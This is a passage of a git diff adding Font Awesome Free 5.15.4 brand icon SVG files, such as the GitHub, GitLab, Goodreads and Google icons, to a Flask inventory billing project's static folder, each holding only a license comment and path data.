158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/github-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/github-alt.svg new file mode 100644 index 00000000..38276111 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/github-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/github-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/github-square.svg new file mode 100644 index 00000000..6d862a6b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/github-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/github.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/github.svg new file mode 100644 index 00000000..ec2bab20 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/github.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gitkraken.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gitkraken.svg new file mode 100644 index 00000000..d6bed3e9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gitkraken.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 592 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gitlab.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gitlab.svg new file mode 100644 index 00000000..d9163c7c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gitlab.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M105.2 24.9c-3.1-8.9-15.7-8.9-18.9 0L29.8 199.7h132c-.1 0-56.6-174.8-56.6-174.8zM.9 287.7c-2.6 8 .3 16.9 7.1 22l247.9 184-226.2-294zm160.8-88l94.3 294 94.3-294zm349.4 88l-28.8-88-226.3 294 247.9-184c6.9-5.1 9.7-14 7.2-22zM425.7 24.9c-3.1-8.9-15.7-8.9-18.9 0l-56.6 174.8h132z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gitter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gitter.svg new file mode 100644 index 00000000..3e893d07 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gitter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/glide-g.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/glide-g.svg new file mode 100644 index 00000000..064150b1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/glide-g.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/glide.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/glide.svg new file mode 100644 index 00000000..3438a147 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/glide.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gofore.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gofore.svg new file mode 100644 index 00000000..2e77c0a0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gofore.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/goodreads-g.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/goodreads-g.svg new file mode 100644 index 00000000..fa9631a9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/goodreads-g.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/goodreads.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/goodreads.svg new file mode 100644 index 00000000..d65ef6f7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/goodreads.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-drive.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-drive.svg new file mode 100644 index 00000000..6415fc05 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-drive.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-pay.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-pay.svg new file mode 100644 index 00000000..f8a9f16a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-pay.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-play.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-play.svg new file mode 100644 index 00000000..ed810a89 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-play.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-plus-g.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-plus-g.svg new file mode 100644 index 00000000..936f56d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-plus-g.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-plus-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-plus-square.svg new file mode 100644 index 00000000..260a31f6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-plus-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 